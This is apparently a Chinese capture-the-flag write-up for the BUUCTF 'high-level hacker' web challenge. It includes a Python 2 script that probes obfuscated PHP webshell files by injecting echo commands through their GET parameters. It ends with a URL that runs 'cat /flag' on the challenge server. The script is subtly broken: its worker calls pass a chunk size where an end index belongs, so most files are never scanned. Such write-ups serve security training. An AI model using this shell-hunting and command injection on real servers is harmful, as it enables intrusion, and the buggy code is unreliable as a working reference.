BUUCTF—WEB-高明的黑客

高明的黑客

下载www.tar.gz

发现是很多混乱的shell，不过某些地方还是有迹可循的，可以通过$_GET或者$_POST传参回显


可以写个脚本批量扫描一下文件里的$_GET和$_POST，然后统一赋值echo "got it"，如果回显结果中包含got it，那么证明该文件为可用shell
python脚本如下：

import os
import requests
from multiprocessing import Pool

path = "I:/phpStudy/PHPTutorial/WWW/src/"
files = os.listdir(path)
url = "http://localhost/src/"


def extract(f):
    gets = []
    with open(path+f, 'r') as f:
        lines = f.readlines()
        lines = [i.strip() for i in lines]
        for line in lines:
            if line.find("$_GET['") > 0:
                start_pos = line.find("$_GET['") + len("$_GET['")
                end_pos = line.find("'", start_pos)
                gets.append(line[start_pos:end_pos])
    return gets


def exp(start, end):
    for i in range(start, end):
        filename = files[i]
        gets = extract(filename)
        print "try: %s" % filename
        for get in gets:
            new_url = "%s%s?%s=%s" % (url, filename, get, 'echo "got it"')
            r = requests.get(new_url)
            if 'got it' in r.content:
                print new_url
                break


def main():
    pool = Pool(processes=15)
    for i in range(0, len(files), len(files)/15):
        pool.apply_async(exp, (i, +len(files)/15,))
    pool.close()
    pool.join()


if __name__ == "__main__":
    main()

测试的时候需要再本地搭一个PHP服务器且版本为7.x

找到即可利用来getflag：

http://web15.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=%20cat%20/flag